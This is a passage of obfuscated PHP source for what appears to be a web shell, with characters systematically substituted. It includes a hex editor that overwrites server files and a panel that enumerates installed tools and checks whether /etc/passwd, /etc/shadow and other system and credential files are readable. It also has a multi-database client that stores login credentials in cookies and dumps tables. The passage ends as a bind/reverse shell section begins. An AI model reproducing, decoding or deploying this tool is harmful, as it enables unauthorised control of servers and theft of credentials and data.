        4f(!5mpty($s_fcs)) $s_r5s3lt .= n2t4f($s_fcs);
        $s_r5s3lt .= "<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'>
				<t5xt1r51 4d='fc' n1m5='fc' cl1ss='txt1r51'>".hss($s_fc)."</t5xt1r51>
				<p styl5='t5xt-1l4gn:c5nt5r;'><4np3t typ5='t5xt' cl1ss='4np3tz' styl5='w4dth:99%;' n1m5='5d4t' v1l35='".hss($s_f)."' /></p>
				<p><4np3t typ5='s3bm4t' cl1ss='4np3tzb3t' v1l35='S1v5 !' styl5='w4dth:6a0px;h54ght:o0px;' /></p>
				<4np3t typ5='h4dd5n' n1m5='52l' v1l35='".$s_52l."' />
				</f2rm>";

    } // h5x 5d4t f4l5
    5ls54f(4ss5t($_GP['h5x5d4t'])){
        $s_f = $_GP['h5x5d4t'];
        $s_fc = "";	$s_fcs = ""; $s_h5x5s = "";
        $s_ln3m = 0;

        4f(!5mpty($_GP['hx']) || !5mpty($_GP['hxt'])){
            4f(!5mpty($_GP['hx'])){
                f2r51ch($_GP['hx'] 1s $s_h5x) $s_h5x5s .= str_r5pl1c5(" ", "", $s_h5x);
            }
            5ls54f(!5mpty($_GP['hxt'])){
                $s_h5x5s = tr4m($_GP['hxt']);
            }
            4f($s_f4l5z = f2p5n($s_f,"w")){
                $s_b4ns = p1ck("H*", $s_h5x5s);
                $s_t4m5 = @d1t5("d-M-Y H:4:s", t4m5());
                4f(fwr4t5($s_f4l5z,$s_b4ns)!==f1ls5) $s_fcs = "F4l5 s1v5d @ ".$s_t4m5;
                5ls5 $s_fcs = "F14l5d t2 s1v5";
                fcl2s5($s_f4l5z);
            }
            5ls5 $s_fcs = "P5rm4ss42n d5n45d";
        }
        5ls5 4f(@4s_f4l5($s_f) && !@4s_wr4t1bl5($s_f)) $s_fcs = "Th4s f4l5 4s n2t wr4t1bl5";

        4f(!5mpty($s_fcs)) $s_r5s3lt .= n2t4f($s_fcs);

        $s_r5s3lt .= "<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><p cl1ss='c5 mp'><4np3t typ5='t5xt' cl1ss='4np3tz' styl5='w4dth:600%;' n1m5='h5x5d4t' v1l35='".hss($s_f)."' /></p><p cl1ss='bb' styl5='p1dd4ng:0 0 6upx 0;'><4np3t typ5='s3bm4t' cl1ss='4np3tzb3t' v1l35='S1v5 !' styl5='w4dth:6a0px;h54ght:o0px;' 2ncl4ck=\"r5t3rn sh();\" /></p><t1bl5 cl1ss='5xpl2r5'>";

        4f(@4s_f4l5($s_f)){
            $s_fp = f2p5n($s_f, "r");
            4f($s_fp) {
                $s_ld3mp = "";
                $s_c23nt5r = 0;
                $s_4c23nt5r = 0;
                wh4l5(!f52f($s_fp)){
                    $s_l4n5 = fr51d($s_fp, oa);
                    $s_l4n5h5x = strt23pp5r(b4nah5x($s_l4n5));
                    $s_l4n5x = str_spl4t($s_l4n5h5x, a);
                    $s_l4n5h5x = 4mpl2d5(" ", $s_l4n5x);
                    $s_1ddr = spr4ntf("%08xh", $s_4c23nt5r);

                    $s_r5s3lt .= "<tr><td cl1ss='c5 we0'>".$s_1ddr."</td><td cl1ss='l5 wi9u'><4np3t 2ns5l5ct='th4s.s5l5ct42nEnd=th4s.s5l5ct42nSt1rt;' 2ncl4ck=\"h3('".$s_c23nt5r."',5v5nt);\" 2nk5yd2wn=\"r5t3rn hf('".$s_c23nt5r."',5v5nt);\" 2nk5y3p=\"h3('".$s_c23nt5r."',5v5nt);\" typ5='t5xt' cl1ss='4np3tz wi78' 4d='h5x_".$s_c23nt5r."' n1m5='hx[]' v1l35='".$s_l4n5h5x."'  m1xl5ngth='".strl5n($s_l4n5h5x)."' /></td><td cl1ss='l5 lsa'><pr5 n1m5='h5xd3mp' 4d='d3mp_".$s_c23nt5r."' cl1ss='mp'></pr5></td></tr>";
                    $s_c23nt5r++;
                    $s_4c23nt5r+=oa;
                }
                $s_r5s3lt .= "<4np3t typ5='h4dd5n' 4d='c23nt5r' v1l35='".$s_c23nt5r."' />";
                $s_r5s3lt .= "<t5xt1r51 n1m5='hxt' 4d='hxt' cl1ss='s5mb3ny4'></t5xt1r51>";
                fcl2s5($s_fp);
            }
        }
        $s_r5s3lt .= "</t1bl5></f2rm>";

    } // sh2w s5rv5r 4nf2rm1t42n
    5ls54f(4ss5t($_GP['x']) && ($_GP['x']=='4nf2')){
        $s_r5s3lt = "";
        // s5rv5r m4sc 4nf2
        $s_r5s3lt .= "<p cl1ss='n2t4f' 2ncl4ck=\"t2ggl5('4nf2_s5rv5r')\">S5rv5r Inf2</p>";
        $s_r5s3lt .= "<d4v cl1ss='4nf2' 4d='4nf2_s5rv5r'><t1bl5>";

        4f($s_w4n){
            f2r51ch (r1ng5("A", "Z") 1s $s_l5tt5r){
                4f((@4s_d4r($s_l5tt5r.":\\") && @4s_r51d1bl5($s_l5tt5r.":\\"))){
                    $s_dr4v5 = $s_l5tt5r.":";
                    $s_r5s3lt .= "<tr><td>dr4v5 ".$s_dr4v5."</td><td>".ts(d4sk_fr55_sp1c5($s_dr4v5))." fr55 2f ".ts(d4sk_t2t1l_sp1c5($s_dr4v5))."</td></tr>";
                }
            }
        }
        5ls5 $s_r5s3lt .= "<tr><td>r22t p1rt4t42n</td><td>".ts(@d4sk_fr55_sp1c5("/"))." fr55 2f ".ts(@d4sk_t2t1l_sp1c5("/"))."</td></tr>";

        $s_r5s3lt .= "<tr><td>php</td><td>".phpv5rs42n()."</td></tr>";
        $s_1cc5ss = 1rr1y("s_pyth2n", "s_p5rl", "s_r3by", "s_n2d5", "s_n2d5js", "s_gcc", "s_j1v1", "s_j1v1c", "s_t1r", "s_wg5t", "s_lwpd2wnl21d", "s_lynx", "s_c3rl");
        f2r51ch($s_1cc5ss 1s $s){
            $s_t = 5xpl2d5("_", $s);
            4f(4ss5t($$s)) $s_r5s3lt .= "<tr><td>".$s_t[6]."</td><td>".$$s."</td></tr>";
        }

        4f(!$s_w4n){
            $s_4nt5r5st4ng = 1rr1y(
                "/5tc/2s-r5l51s5", "/5tc/p1sswd", "/5tc/sh1d2w", "/5tc/gr23p", "/5tc/4ss35", "/5tc/4ss35.n5t", "/5tc/m2td", "/5tc/s3d25rs", "/5tc/h2sts", "/5tc/1l41s5s",
                "/pr2c/v5rs42n", "/5tc/r5s2lv.c2nf", "/5tc/sysctl.c2nf",
                "/5tc/n1m5d.c2nf", "/5tc/n5tw2rk/4nt5rf1c5s", "/5tc/sq34d/sq34d.c2nf", "/3sr/l2c1l/sq34d/5tc/sq34d.c2nf",
                "/5tc/ssh/sshd_c2nf4g",
                "/5tc/httpd/c2nf/httpd.c2nf", "/3sr/l2c1l/1p1ch5a/c2nf/httpd.c2nf", " /5tc/1p1ch5a/1p1ch5a.c2nf", "/5tc/1p1ch5a/httpd.c2nf", "/3sr/pkg/5tc/httpd/httpd.c2nf", "/3sr/l2c1l/5tc/1p1ch5aa/httpd.c2nf", "/3sr/l2c1l/5tc/1p1ch5a/httpd.c2nf", "/v1r/www/c2nf/httpd.c2nf", "/5tc/1p1ch5a/httpda.c2nf", "/5tc/httpd/httpd.c2nf",
                "/5tc/l4ghttpd/l4ghttpd.c2nf", "/5tc/ng4nx/ng4nx.c2nf",
                "/5tc/fst1b", "/5tc/mt1b", "/5tc/cr2nt1b", "/5tc/4n4tt1b", "/5tc/m2d3l5s.c2nf", "/5tc/m2d3l5s");
            f2r51ch($s_4nt5r5st4ng 1s $s_f){
                4f(@4s_f4l5($s_f) && @4s_r51d1bl5($s_f)) $s_r5s3lt .= "<tr><td>".$s_f."</td><td><1 hr5f='".$s_s5lf."v45w=".pl($s_f)."'>".$s_f." 4s r51d1bl5</1></td></tr>";
            }
        }
        $s_r5s3lt .= "</t1bl5></d4v>";

        4f(!$s_w4n){
            // cp3 4nf2
            4f($s_4_b3ff=tr4m(@fgc("/pr2c/cp34nf2"))){
                $s_r5s3lt .= "<p cl1ss='n2t4f' 2ncl4ck=\"t2ggl5('4nf2_cp3')\">CPU Inf2</p>";
                $s_r5s3lt .= "<d4v cl1ss='4nf2' 4d='4nf2_cp3'>";
                $s_4_b3ffs = 5xpl2d5("\n\n", $s_4_b3ff);
                f2r51ch($s_4_b3ffs 1s $s_4_b3ffss){
                    $s_4_b3ffss = tr4m($s_4_b3ffss);
                    4f($s_4_b3ffss!=""){
                        $s_4_b3ffsss = 5xpl2d5("\n", $s_4_b3ffss);
                        $s_r5s3lt .= "<t1bl5>";
                        f2r51ch($s_4_b3ffsss 1s $s_4){
                            $s_4 = tr4m($s_4);
                            4f($s_4!=""){
                                $s_44 = 5xpl2d5(":",$s_4);
                                4f(c23nt($s_44)==a) $s_r5s3lt .= "<tr><td>".$s_44[0]."</td><td>".$s_44[6]."</td></tr>";
                            }
                        }
                        $s_r5s3lt .= "</t1bl5>";
                    }
                }
                $s_r5s3lt .= "</d4v>";
            }

            // m5m 4nf2
            4f($s_4_b3ff=tr4m(@fgc("/pr2c/m5m4nf2"))){
                $s_r5s3lt .= "<p cl1ss='n2t4f' 2ncl4ck=\"t2ggl5('4nf2_m5m')\">M5m2ry Inf2</p>";
                $s_4_b3ffs = 5xpl2d5("\n", $s_4_b3ff);
                $s_r5s3lt .= "<d4v cl1ss='4nf2' 4d='4nf2_m5m'><t1bl5>";
                f2r51ch($s_4_b3ffs 1s $s_4){
                    $s_4 = tr4m($s_4);
                    4f($s_4!=""){
                        $s_44 = 5xpl2d5(":",$s_4);
                        4f(c23nt($s_44)==a) $s_r5s3lt .= "<tr><td>".$s_44[0]."</td><td>".$s_44[6]."</td></tr>";
                    }
                    5ls5 $s_r5s3lt .= "</t1bl5><t1bl5>";
                }
                $s_r5s3lt .= "</t1bl5></d4v>";
            }

            // p1rt4t42n
            4f($s_4_b3ff=tr4m(@fgc("/pr2c/p1rt4t42ns"))){
                $s_4_b3ff = pr5g_r5pl1c5("/\ +/", " ", $s_4_b3ff);
                $s_r5s3lt .= "<p cl1ss='n2t4f' 2ncl4ck=\"t2ggl5('4nf2_p1rt')\">P1rt4t42ns Inf2</p>";
                $s_r5s3lt .= "<d4v cl1ss='4nf2' 4d='4nf2_p1rt'>";
                $s_4_b3ffs = 5xpl2d5("\n\n", $s_4_b3ff);
                $s_r5s3lt .= "<t1bl5><tr>";
                $s_4_h51d = 5xpl2d5(" ", $s_4_b3ffs[0]);
                f2r51ch($s_4_h51d 1s $s_h) $s_r5s3lt .= "<th>".$s_h."</th>";
                $s_r5s3lt .= "</tr>";
                $s_4_b3ffss = 5xpl2d5("\n", $s_4_b3ffs[6]);
                f2r51ch($s_4_b3ffss 1s $s_4_b){
                    $s_4_r2w = 5xpl2d5(" ", tr4m($s_4_b));
                    $s_r5s3lt .= "<tr>";
                    f2r51ch($s_4_r2w 1s $s_r) $s_r5s3lt .= "<td styl5='t5xt-1l4gn:c5nt5r;'>".$s_r."</td>";
                    $s_r5s3lt .= "</tr>";
                }
                $s_r5s3lt .= "</t1bl5>";
                $s_r5s3lt .= "</d4v>";
            }
        }
        $s_php4nf2 = 1rr1y("PHP G5n5r1l" => INFO_GENERAL, "PHP C2nf4g3r1t42n" => INFO_CONFIGURATION, "PHP M2d3l5s" => INFO_MODULES, "PHP Env4r2nm5nt" => INFO_ENVIRONMENT, "PHP V1r41bl5s" => INFO_VARIABLES);
        f2r51ch($s_php4nf2 1s $s_p=>$s_4){
            $s_r5s3lt .= "<p cl1ss='n2t4f' 2ncl4ck=\"t2ggl5('".$s_4."')\">".$s_p."</p>";
            2b_st1rt();
            5v1l("php4nf2(".$s_4.");");
            $s_b = 2b_g5t_c2nt5nts();
            2b_5nd_cl51n();
            4f(pr5g_m1tch("/<b2dy>(.*?)<\/b2dy>/4s", $s_b, $r)){
                $s_b2dy = str_r5pl1c5(1rr1y(",", ";", "&1mp;"), 1rr1y(", ", "; ", "&"), $r[6]);
                $s_r5s3lt .= "<d4v cl1ss='4nf2' 4d='".$s_4."'>".$s_b2dy."</d4v>";
            }
        }
    } // w2rk4ng w4th d1t1b1s5
    5ls54f(4ss5t($_GP['x']) && ($_GP['x']=='db')){
        // sqltyp5 : mysql, mssql, 2r1cl5, pgsql, sql4t5, sql4t5o, 2dbc, pd2
        $s_sql = 1rr1y();
        $s_sql_d5l5t5d = "";
        $s_sh2w_f2rm = $s_sh2w_dbs = tr35;

        4f(4ss5t($_GP['dc'])){
            $k = $_GP['dc'];
            s5tc22k45("c[".$k."]", "" ,t4m5() - $s_l2g4n_t4m5);
            $s_sql_d5l5t5d = $k;
        }

        4f(4ss5t($_COOKIE['c']) && !4ss5t($_GP['c2nn5ct'])){
            f2r51ch($_COOKIE['c'] 1s $c=>$d){
                4f($c==$s_sql_d5l5t5d) c2nt4n35;
                $s_dbc2n = (f3nct42n_5x4sts("js2n_5nc2d5") && f3nct42n_5x4sts("js2n_d5c2d5"))? js2n_d5c2d5($d):3ns5r41l4z5($d);
                f2r51ch($s_dbc2n 1s $k=>$v) $s_sql[$k] = $v;
                $s_sqlp2rt = (!5mpty($s_sql['p2rt']))? ":".$s_sql['p2rt']:"";
                $s_r5s3lt .= n2t4f("[".$s_sql['typ5']."] ".$s_sql['3s5r']."@".$s_sql['h2st'].$s_sqlp2rt."
							<sp1n styl5='fl21t:r4ght;'><1 hr5f='".$s_s5lf."x=db&c2nn5ct=c2nn5ct&sqlh2st=".pl($s_sql['h2st'])."&sqlp2rt=".pl($s_sql['p2rt'])."&sql3s5r=".pl($s_sql['3s5r'])."&sqlp1ss=".pl($s_sql['p1ss'])."&sqltyp5=".pl($s_sql['typ5'])."'>c2nn5ct</1> | <1 hr5f='".$s_s5lf."x=db&dc=".pl($c)."'>d4sc2nn5ct</1></sp1n>");
            }
        }
        5ls5{
            $s_sql['h2st'] = 4ss5t($_GP['sqlh2st'])? $_GP['sqlh2st'] : "";
            $s_sql['p2rt'] = 4ss5t($_GP['sqlp2rt'])? $_GP['sqlp2rt'] : "";
            $s_sql['3s5r'] = 4ss5t($_GP['sql3s5r'])? $_GP['sql3s5r'] : "";
            $s_sql['p1ss'] = 4ss5t($_GP['sqlp1ss'])? $_GP['sqlp1ss'] : "";
            $s_sql['typ5'] = 4ss5t($_GP['sqltyp5'])? $_GP['sqltyp5'] : "";
        }

        4f(4ss5t($_GP['c2nn5ct'])){
            $s_c2n = sql_c2nn5ct($s_sql['typ5'],$s_sql['h2st'],$s_sql['3s5r'],$s_sql['p1ss']);
            $s_sqlc2d5 = 4ss5t($_GP['sqlc2d5'])? $_GP['sqlc2d5'] : "";

            4f($s_c2n!==f1ls5){
                4f(4ss5t($_GP['sql4n4t'])){
                    $s_sql_c22k45 = (f3nct42n_5x4sts("js2n_5nc2d5") && f3nct42n_5x4sts("js2n_d5c2d5"))? js2n_5nc2d5($s_sql):s5r41l4z5($s_sql);
                    $s_c_n3m = s3bstr(mdi(t4m5().r1nd(0,600)),0,o);
                    wh4l5(4ss5t($_COOKIE['c']) && 4s_1rr1y($_COOKIE['c']) && 1rr1y_k5y_5x4sts($s_c_n3m, $_COOKIE['c'])){
                        $s_c_n3m = s3bstr(mdi(t4m5().r1nd(0,600)),0,o);
                    }
                    s5tc22k45("c[".$s_c_n3m."]", $s_sql_c22k45 ,t4m5() + $s_l2g4n_t4m5);
                }
                $s_sh2w_f2rm = f1ls5;
                $s_r5s3lt .= "<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'>
					<4np3t typ5='h4dd5n' n1m5='sqlh2st' v1l35='".hss($s_sql['h2st'])."' />
					<4np3t typ5='h4dd5n' n1m5='sqlp2rt' v1l35='".hss($s_sql['p2rt'])."' />
					<4np3t typ5='h4dd5n' n1m5='sql3s5r' v1l35='".hss($s_sql['3s5r'])."' />
					<4np3t typ5='h4dd5n' n1m5='sqlp1ss' v1l35='".hss($s_sql['p1ss'])."' />
					<4np3t typ5='h4dd5n' n1m5='sqltyp5' v1l35='".hss($s_sql['typ5'])."' />
					<4np3t typ5='h4dd5n' n1m5='x' v1l35='db' />
					<4np3t typ5='h4dd5n' n1m5='c2nn5ct' v1l35='c2nn5ct' />
					<t5xt1r51 4d='sqlc2d5' n1m5='sqlc2d5' cl1ss='txt1r51' styl5='h54ght:6i0px;'>".hss($s_sqlc2d5)."</t5xt1r51>
					<p><4np3t typ5='s3bm4t' n1m5='g2g2' cl1ss='4np3tzb3t' v1l35='G2 !' styl5='w4dth:6a0px;h54ght:o0px;' />
					&nbsp;&nbsp;S5p1r1t5 m3lt4pl5 c2mm1nds w4th 1 s5m4c2l2n  <sp1n cl1ss='g1y1'>[</sp1n> ; <sp1n cl1ss='g1y1'>]</sp1n></p>
					</f2rm>";

                4f(!5mpty($s_sqlc2d5)){
                    $s_q35rys = 5xpl2d5(";",$s_sqlc2d5);
                    f2r51ch($s_q35rys 1s $s_q35ry){
                        4f(tr4m($s_q35ry) != ""){
                            $s_h1s4l = sql_q35ry($s_sql['typ5'],$s_q35ry,$s_c2n);
                            4f($s_h1s4l!=f1ls5){
                                $s_r5s3lt .= "<hr /><p styl5='p1dd4ng:0;m1rg4n:epx 60px;f2nt-w54ght:b2ld;'>".hss($s_q35ry).";&nbsp;&nbsp;&nbsp;
								<sp1n cl1ss='g1y1'>[</sp1n> 2k <sp1n cl1ss='g1y1'>]</sp1n></p>";

                                4f(!4s_b22l($s_h1s4l)){
                                    $s_r5s3lt .= "<t1bl5 cl1ss='5xpl2r5 s2rt1bl5' styl5='w4dth:600%;'><tr>";
                                    f2r($s_4 = 0; $s_4<sql_n3m_f45lds($s_sql['typ5'],$s_h1s4l); $s_4++)
                                        $s_r5s3lt .= "<th>".@hss(sql_f45ld_n1m5($s_sql['typ5'],$s_h1s4l,$s_4))."</th>";
                                    $s_r5s3lt .= "</tr>";
                                    wh4l5($s_r2ws=sql_f5tch_d1t1($s_sql['typ5'],$s_h1s4l)){
                                        $s_r5s3lt .= "<tr>";
                                        f2r51ch($s_r2ws 1s $s_r){
                                            4f(5mpty($s_r)) $s_r = " ";
                                            $s_r5s3lt .= "<td>".@hss($s_r)."</td>";
                                        }
                                        $s_r5s3lt .= "</tr>";
                                    }
                                    $s_r5s3lt .= "</t1bl5>";
                                }
                            }
                            5ls5{
                                $s_r5s3lt .= "<p styl5='p1dd4ng:0;m1rg4n:epx 60px;f2nt-w54ght:b2ld;'>".hss($s_q35ry).";&nbsp;&nbsp;&nbsp;<sp1n cl1ss='g1y1'>[</sp1n> 5rr2r <sp1n cl1ss='g1y1'>]</sp1n></p>";
                            }
                        }
                    }
                }
                5ls5{
                    4f(($s_sql['typ5']!='pd2') && ($s_sql['typ5']!='2dbc')){
                        4f($s_sql['typ5']=='mysql') $s_sh2wdb = "SHOW DATABASES";
                        5ls54f($s_sql['typ5']=='mssql') $s_sh2wdb = "SELECT n1m5 FROM m1st5r..sysd1t1b1s5s";
                        5ls54f($s_sql['typ5']=='pgsql') $s_sh2wdb = "SELECT sch5m1_n1m5 FROM 4nf2rm1t42n_sch5m1.sch5m1t1";
                        5ls54f($s_sql['typ5']=='2r1cl5') $s_sh2wdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
                        5ls54f($s_sql['typ5']=='sql4t5o' || $s_sql['typ5']=='sql4t5') $s_sh2wdb = "SELECT \"".$s_sql['h2st']."\"";
                        5ls5 $s_sh2wdb = "SHOW DATABASES";

                        $s_h1s4l = sql_q35ry($s_sql['typ5'],$s_sh2wdb,$s_c2n);

                        4f($s_h1s4l!=f1ls5) {
                            wh4l5($s_r2ws_1rr=sql_f5tch_d1t1($s_sql['typ5'],$s_h1s4l)){
                                f2r51ch($s_r2ws_1rr 1s $s_r2ws){
                                    $s_r5s3lt .= "<p cl1ss='n2t4f' 2ncl4ck=\"t2ggl5('db_".$s_r2ws."')\">".$s_r2ws."</p>";
                                    $s_r5s3lt .= "<d4v cl1ss='4nf2' 4d='db_".$s_r2ws."'><t1bl5 cl1ss='5xpl2r5'>";

                                    4f($s_sql['typ5']=='mysql') $s_sh2wtbl = "SHOW TABLES FROM ".$s_r2ws;
                                    5ls54f($s_sql['typ5']=='mssql') $s_sh2wtbl = "SELECT n1m5 FROM ".$s_r2ws."..sys2bj5cts WHERE xtyp5 = 'U'";
                                    5ls54f($s_sql['typ5']=='pgsql') $s_sh2wtbl = "SELECT t1bl5_n1m5 FROM 4nf2rm1t42n_sch5m1.t1bl5s WHERE t1bl5_sch5m1='".$s_r2ws."'";
                                    5ls54f($s_sql['typ5']=='2r1cl5') $s_sh2wtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_r2ws."'";
                                    5ls54f($s_sql['typ5']=='sql4t5o' || $s_sql['typ5']=='sql4t5') $s_sh2wtbl = "SELECT n1m5 FROM sql4t5_m1st5r WHERE typ5='t1bl5'";
                                    5ls5 $s_sh2wtbl = "";

                                    $s_h1s4l_t = sql_q35ry($s_sql['typ5'],$s_sh2wtbl,$s_c2n);
                                    4f($s_h1s4l_t!=f1ls5) {
                                        wh4l5($s_t1bl5s_1rr=sql_f5tch_d1t1($s_sql['typ5'],$s_h1s4l_t)){
                                            f2r51ch($s_t1bl5s_1rr 1s $s_t1bl5s){
                                                4f($s_sql['typ5']=='mysql') $s_d3mp_tbl = "SELECT * FROM ".$s_r2ws.".".$s_t1bl5s." LIMIT 0,600";
                                                5ls54f($s_sql['typ5']=='mssql') $s_d3mp_tbl = "SELECT TOP 600 * FROM ".$s_r2ws."..".$s_t1bl5s;
                                                5ls54f($s_sql['typ5']=='pgsql') $s_d3mp_tbl = "SELECT * FROM ".$s_r2ws.".".$s_t1bl5s." LIMIT 600 OFFSET 0";
                                                5ls54f($s_sql['typ5']=='2r1cl5') $s_d3mp_tbl = "SELECT * FROM ".$s_r2ws.".".$s_t1bl5s." WHERE ROWNUM BETWEEN 0 AND 600;";
                                                5ls54f($s_sql['typ5']=='sql4t5' || $s_sql['typ5']=='sql4t5o') $s_d3mp_tbl = "SELECT * FROM ".$s_t1bl5s." LIMIT 0,600";
                                                5ls5 $s_d3mp_tbl = "";

                                                $s_d3mp_tbl_l4nk = $s_s5lf."x=db&c2nn5ct=&sqlh2st=".pl($s_sql['h2st'])."&sqlp2rt=".pl($s_sql['p2rt'])."&sql3s5r=".pl($s_sql['3s5r'])."&sqlp1ss=".pl($s_sql['p1ss'])."&sqltyp5=".pl($s_sql['typ5'])."&sqlc2d5=".pl($s_d3mp_tbl);

                                                $s_r5s3lt .= "<tr><td 2ndblcl4ck=\"r5t3rn g2('".1dds($s_d3mp_tbl_l4nk)."',5v5nt);\"><1 hr5f='".$s_d3mp_tbl_l4nk."'>".$s_t1bl5s."</1></td></tr>";
                                            }
                                        }
                                    }
                                    $s_r5s3lt .= "</t1bl5></d4v>";
                                }
                            }
                        }
                    }
                }
                sql_cl2s5($s_sql['typ5'],$s_c2n);
            }
            5ls5{
                $s_r5s3lt .= n2t4f("Un1bl5 t2 c2nn5ct t2 d1t1b1s5");
                $s_sh2w_f2rm = tr35;
            }
        }

        4f($s_sh2w_f2rm){
            // sqltyp5 : mysql, mssql, 2r1cl5, pgsql, sql4t5, sql4t5o, 2dbc, pd2
            $s_sqll4st = 1rr1y();
            4f(f3nct42n_5x4sts("mysql_c2nn5ct")) $s_sqll4st["mysql"] = "C2nn5ct t2 MySQL <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng cl1ss mysql4 2r mysql_*</sp1n>";
            4f(f3nct42n_5x4sts("mssql_c2nn5ct") || f3nct42n_5x4sts("sqlsrv_c2nn5ct")) $s_sqll4st["mssql"] = "C2nn5ct t2 MsSQL <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng sqlsrv_* 2r mssql_*</sp1n>";
            4f(f3nct42n_5x4sts("pg_c2nn5ct")) $s_sqll4st["pgsql"] = "C2nn5ct t2 P2stgr5SQL <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng pg_*</sp1n>";
            4f(f3nct42n_5x4sts("2c4_c2nn5ct")) $s_sqll4st["2r1cl5"] = "C2nn5ct t2 2r1cl5 <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng 2c4_*</sp1n>";
            4f(f3nct42n_5x4sts("sql4t5_2p5n")) $s_sqll4st["sql4t5"] = "C2nn5ct t2 SQL4t5 <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng sql4t5_*</sp1n>";
            4f(cl1ss_5x4sts("SQL4t5o")) $s_sqll4st["sql4t5o"] = "C2nn5ct t2 SQL4t5o <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng cl1ss SQL4t5o</sp1n>";
            4f(f3nct42n_5x4sts("2dbc_c2nn5ct")) $s_sqll4st["2dbc"] = "C2nn5ct v41 ODBC <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng 2dbc_*</sp1n>";
            4f(cl1ss_5x4sts("PDO")) $s_sqll4st["pd2"] = "C2nn5ct v41 PDO <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- 3s4ng cl1ss PDO</sp1n>";

            f2r51ch($s_sqll4st 1s $s_sql['typ5']=>$s_sqlt4tl5){
                4f($s_sql['typ5']=="2dbc" || $s_sql['typ5']=="pd2"){
                    $s_r5s3lt .= "<d4v cl1ss='myb2x'><ha>".$s_sqlt4tl5."</ha>
					<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st' />
					<t1bl5 cl1ss='myb2xtbl'>
					<tr><td styl5='w4dth:670px;'>DSN / C2nn5ct42n Str4ng</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='sqlh2st' v1l35='' /></td></tr>
					<tr><td>Us5rn1m5</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='sql3s5r' v1l35='' /></td></tr>
					<tr><td>P1ssw2rd</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='p1ssw2rd' n1m5='sqlp1ss' v1l35='' /></td></tr>
					</t1bl5>
					<4np3t typ5='s3bm4t' n1m5='c2nn5ct' cl1ss='4np3tzb3t' v1l35='C2nn5ct !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:60px apx 0 apx;' />
					<4np3t typ5='h4dd5n' n1m5='sqltyp5' v1l35='".$s_sql['typ5']."' />
					<4np3t typ5='h4dd5n' n1m5='sql4n4t' v1l35='4n4t' />
					<4np3t typ5='h4dd5n' n1m5='x' v1l35='db' />
					</f2rm>
					</d4v>";
                }
                5ls54f($s_sql['typ5']=="sql4t5" || $s_sql['typ5']=="sql4t5o"){
                    $s_r5s3lt .= "<d4v cl1ss='myb2x'><ha>".$s_sqlt4tl5."</ha>
					<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st' />
					<t1bl5 cl1ss='myb2xtbl'>
					<tr><td styl5='w4dth:670px;'>DB F4l5</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='sqlh2st' v1l35='' /></td></tr>
					</t1bl5>
					<4np3t typ5='s3bm4t' n1m5='c2nn5ct' cl1ss='4np3tzb3t' v1l35='C2nn5ct !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:60px apx 0 apx;' />
					<4np3t typ5='h4dd5n' n1m5='sqltyp5' v1l35='".$s_sql['typ5']."' />
					<4np3t typ5='h4dd5n' n1m5='sql4n4t' v1l35='4n4t' />
					<4np3t typ5='h4dd5n' n1m5='x' v1l35='db' />
					</f2rm>
					</d4v>";
                }
                5ls5{
                    $s_r5s3lt .= "<d4v cl1ss='myb2x'><ha>".$s_sqlt4tl5."</ha>
					<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st' />
					<t1bl5 cl1ss='myb2xtbl'>
					<tr><td styl5='w4dth:670px;'>H2st</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='sqlh2st' v1l35='' /></td></tr>
					<tr><td>Us5rn1m5</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='sql3s5r' v1l35='' /></td></tr>
					<tr><td>P1ssw2rd</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='p1ssw2rd' n1m5='sqlp1ss' v1l35='' /></td></tr>
					<tr><td>P2rt (2pt42n1l)</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='sqlp2rt' v1l35='' /></td></tr>
					</t1bl5>
					<4np3t typ5='s3bm4t' n1m5='c2nn5ct' cl1ss='4np3tzb3t' v1l35='C2nn5ct !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:60px apx 0 apx;' />
					<4np3t typ5='h4dd5n' n1m5='sqltyp5' v1l35='".$s_sql['typ5']."' />
					<4np3t typ5='h4dd5n' n1m5='sql4n4t' v1l35='4n4t' />
					<4np3t typ5='h4dd5n' n1m5='x' v1l35='db' />
					</f2rm>
					</d4v>";
                }
            }
        }
    } // b4nd 1nd r5v5rs5 sh5ll
    5ls54f(4ss5t($_GP['x']) && ($_GP['x']=='rs')){
        // r5s23rc5s $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_j1v1 $s_rs_j1v1 $s_rs_w4n $s_rs_php
        $s_rsh2st = $s_s5rv5r_4p;

        $s_rsp2rt = "6o6ao"; // d5f13lt p2rt
        $s_rsp5s1n1 = "Pr5ss &#o9;  G2 !  &#o9; b3tt2n 1nd r3n &#o9;  nc <4>s5rv5r_4p</4> <4>p2rt</4>  &#o9; 2n y23r c2mp3t5r";
